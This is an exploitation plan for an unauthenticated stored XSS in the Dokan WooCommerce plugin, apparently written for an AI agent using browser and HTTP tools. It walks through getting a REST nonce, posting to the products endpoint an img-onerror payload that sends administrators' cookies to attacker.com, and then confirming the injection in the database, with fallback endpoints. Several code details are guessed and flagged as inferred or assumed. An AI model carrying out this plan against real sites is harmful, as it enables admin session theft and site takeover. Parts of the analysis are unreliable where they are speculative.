Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy <= 5.0.6 - Unauthenticated Stored Cross-Site Scripting

This exploitation research plan targets CVE-2026-57706, an unauthenticated stored cross-site scripting (XSS) vulnerability in the Dokan Lite plugin (<= 5.0.6). The vulnerability stems from the plugin's AI integration features introduced in version 5.0.0.

1. Vulnerability Summary

The Dokan plugin registers a high-priority filter on the WordPress REST API dispatch process. This filter, resolve_product_payload_before_validation, intercepts incoming requests to the dokan/v3/products namespace. When a request contains AI-related parameters (intended for generating product content), the plugin processes and logs these prompts to the database. Because this logic executes during the rest_pre_dispatch phase—before the REST API performs its permission checks—unauthenticated users can trigger the logging mechanism. The plugin fails to sanitize the prompt input before storage and fails to escape it when displaying the logs in the Dokan Admin Dashboard.

2. Attack Vector Analysis

• Endpoint: /wp-json/dokan/v3/products
• Method: POST
• Vulnerable Parameter: intelligence[prompt] (sent within the JSON body).
• Authentication: Unauthenticated. Although the final REST endpoint requires dokan_add_product capabilities, the vulnerable code resides in a rest_pre_dispatch filter that executes before authorization.
• Preconditions: The AI feature must be active (usually default in 5.0.x), and the site must have REST API enabled (default).

3. Code Flow

1. Entry Point: An HTTP POST request is sent to wp-json/dokan/v3/products.
2. Hook Trigger: WordPress triggers the rest_pre_dispatch filter.
3. Vulnerable Filter: WeDevs\Dokan\REST\ProductControllerV3::resolve_product_payload_before_validation is called (registered in register_routes via add_filter( 'rest_pre_dispatch', ..., 1, 3 )).
4. Payload Resolution: The filter calls WeDevs\Dokan\ProductEditor\PayloadResolver::resolve().
5. Sink (Storage): If the intelligence parameter is present, PayloadResolver (or the underlying Intelligence\Manager) logs the prompt value into the database (likely a table like wp_dokan_ai_logs) without sanitization.
6. Sink (Execution): An administrator navigates to the Dokan Dashboard (Admin). The assets/js/vue-admin.js component fetches the logs and renders the prompt field directly into the DOM without escaping, triggering the XSS.

4. Nonce Acquisition Strategy

While the request is "unauthenticated" relative to Dokan's permissions, the WordPress REST API typically requires a valid wp_rest nonce for POST requests to prevent CSRF.

1. Identify Trigger: The AI scripts are loaded in the Vendor Dashboard.
2. Setup Page: Create a page with the Dokan Dashboard shortcode to ensure all variables are localized.

   wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[dokan-dashboard]'
   

3. Extract Nonce: Navigate to the newly created page and extract the REST nonce.
   • Variable: window.wpApiSettings.nonce (standard) or window.dokan.rest.nonce (plugin specific).
   • Action: browser_eval("window.wpApiSettings?.nonce || window.dokan?.rest?.nonce")

5. Exploitation Strategy

Step 1: Obtain Nonce
Use the http_request or browser_navigate tool to visit the homepage or the dashboard page and extract the nonce from the source or via browser_eval.

Step 2: Send Malicious Request
Construct a POST request to the V3 Products endpoint. Note that we do not need a valid product payload; we only need the intelligence object to trigger the early filter.

• URL: http://localhost:8080/wp-json/dokan/v3/products
• Method: POST
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Payload:

  {
    "name": "Exploit Trigger",
    "intelligence": {
      "action": "generate_description",
      "prompt": "<img src=x onerror='fetch(\"http://attacker.com/log?c=\" + btoa(document.cookie))'>"
    }
  }
  

Step 3: Trigger Execution
The exploit remains dormant until an administrator views the AI Assistant logs.

• Admin Path: wp-admin/admin.php?page=dokan#/ai-assistant/logs

6. Test Data Setup

1. Dokan Settings: Ensure AI features are enabled (if they require explicit activation in the version's settings).
2. Page Creation:

   wp post create --post_type=page --post_status=publish --post_content='[dokan-dashboard]'
   

3. Permalinks: Ensure pretty permalinks are enabled for the REST API.

   wp rewrite structure '/%postname%/' --hard
   wp rewrite flush --hard
   

7. Expected Results

• The REST API will likely return a 403 Forbidden (because the user is unauthenticated for the actual create_item callback).
• Despite the 403, the rest_pre_dispatch filter will have already executed.
• The database will contain a new entry in the AI logs table with the raw <img ...> tag.
• When the admin page loads the logs, a browser alert or network request to the attacker's server will occur.

8. Verification Steps

After sending the HTTP request, verify the injection directly in the database:

1. Find the Log Table:

   wp db query "SHOW TABLES LIKE '%dokan_ai%'"
   

2. Check for Payload:

   # Assuming the table is wp_dokan_ai_logs
   wp db query "SELECT prompt FROM wp_dokan_ai_logs ORDER BY id DESC LIMIT 1"
   

   Confirm the output matches the injected string verbatim.

9. Alternative Approaches

• Batch Endpoint: If the single product endpoint is blocked, attempt the same payload via the batch endpoint: /wp-json/dokan/v3/products/batch.
• Vendor Registration: If the AI path fails, check the dokan-lite registration form parameters (shopname, address) which are also often processed by early filters in the V3 architecture.
• Direct AI Chat: If dokan/v1/intelligence/chat exists (inferred), send the payload there as it is specifically designed for unauthenticated user interaction with the assistant.